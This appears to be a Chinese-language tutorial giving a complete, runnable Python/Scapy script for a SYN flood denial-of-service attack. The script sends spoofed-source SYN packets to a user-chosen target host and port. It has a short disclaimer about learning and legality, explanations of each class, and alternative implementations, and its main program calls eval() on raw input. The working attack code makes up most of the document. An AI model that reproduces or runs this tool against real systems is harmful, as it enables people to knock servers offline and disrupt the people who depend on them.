Scapy库实现SYN洪水攻击的Python脚本

代码用于学习熟悉Scapy库及其在网络安全研究和测试中提供的各种选项和功能
脚本旨在执行SYN洪水攻击,这是一种分布式拒绝服务(DDoS)攻击的类型。未经授权参与此类攻击通常是违法的,可能会产生严重后果

代码

SynFlood.py

from scapy.all import *
import socket
import random
from scapy.layers.inet import TCP, IP


class IPGeneration:
    def __init__(self):
        self.localIP = socket.gethostbyname(socket.gethostname())

    def getRandomIP(self):
        while (True):
            tempIP = str(random.randint(128, 150)) + '.' \
                     + str(random.randint(1, 254)) + '.' \
                     + str(random.randint(1, 254)) + '.' \
                     + str(random.randint(1, 254))
            if tempIP != str(self.localIP):
                return tempIP


class SynFlood:
    def __init__(self, attackIP, attackPort):
        self.ipGeneration = IPGeneration()
        self.srcIP = self.ipGeneration.getRandomIP()
        self.srcPort = random.randint(1000, 65535)
        self.dstIP = attackIP
        self.dstPort = attackPort

    def attack(self):
        self.srcIP = self.ipGeneration.getRandomIP()
        self.srcPort = random.randint(1000, 65535)
        ip = IP(src=self.srcIP, dst=self.dstIP)
        tcp = TCP(sport=self.srcPort, dport=self.dstPort, flags="S")
        send(ip / tcp, verbose=0)

    def flood(self, times):
        for i in range(times):
            self.attack()

Main.py

from SynFlood import *

def main():
    dstIP = input("请输入攻击的目标的主机的ip地址:")
    dstPort = eval(input("请输入攻击的目标主机的端口(Web服务器: 80, FTP服务器: 21) : "))
    times = eval(input("请输入攻击次数："))
    syn = SynFlood(dstIP, dstPort)
    syn.flood(times)
main()

Scapy库

Scapy是一个强大的Python网络数据包操作和数据包嗅探工具,在网络安全研究和测试中非常有用。在这个代码中,Scapy被用于构建和发送TCP SYN数据包。from scapy.all import *导入了Scapy库的所有模块和函数,包括用于构建IP和TCP数据包的IP和TCP类。from scapy.layers.inet import TCP, IP则专门从Scapy的inet层导入了这两个类。

socket模块

socket模块是Python标准库的一部分,用于处理网络编程相关的功能。在这个代码中,socket模块被用来获取当前机器的IP地址,为生成随机源IP地址提供依据。

random模块

random模块也是Python标准库的一部分,提供了生成随机数的功能。在这个代码中,random模块被用来生成随机的源端口号,以及在IPGeneration类中生成随机的IP地址。

IPGeneration类

这个类负责生成随机的IP地址。它的__init__方法获取了当前机器的IP地址,并将其存储在localIP属性中。getRandomIP方法则生成一个与localIP不同的随机IP地址。这些随机IP地址将作为SYN洪水攻击中的源IP地址。
例如：

class IPGeneration:
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        self.localIP = s.getsockname()[0]
        s.close()
    def getRandomIP(self):
        ip = [str(random.randint(0, 255)) for _ in range(4)]
        randomIP = '.'.join(ip)
        while randomIP == self.localIP:
            ip = [str(random.randint(0, 255)) for _ in range(4)]
            randomIP = '.'.join(ip)
        return randomIP

SynFlood类

这个类实现了SYN洪水攻击的核心逻辑。在__init__方法中,它创建了一个IPGeneration对象,并生成了随机的源IP地址和端口号。attack方法构建了一个TCP SYN数据包,并使用Scapy的send函数发送。flood方法则调用attack方法多次,以执行SYN洪水攻击。
例如：

class SynFlood:
    def __init__(self, targetIP, targetPort):
        self.ipGenerator = IPGeneration()
        self.sourceIP = self.ipGenerator.getRandomIP()
        self.sourcePort = random.randint(1024, 65535)
        self.targetIP = targetIP
        self.targetPort = targetPort

    def attack(self):
        ip = IP(src=self.sourceIP, dst=self.targetIP)
        tcp = TCP(sport=self.sourcePort, dport=self.targetPort, flags="S")
        packet = ip / tcp
        send(packet)

    def flood(self, packetCount):
        for _ in range(packetCount):
            self.attack()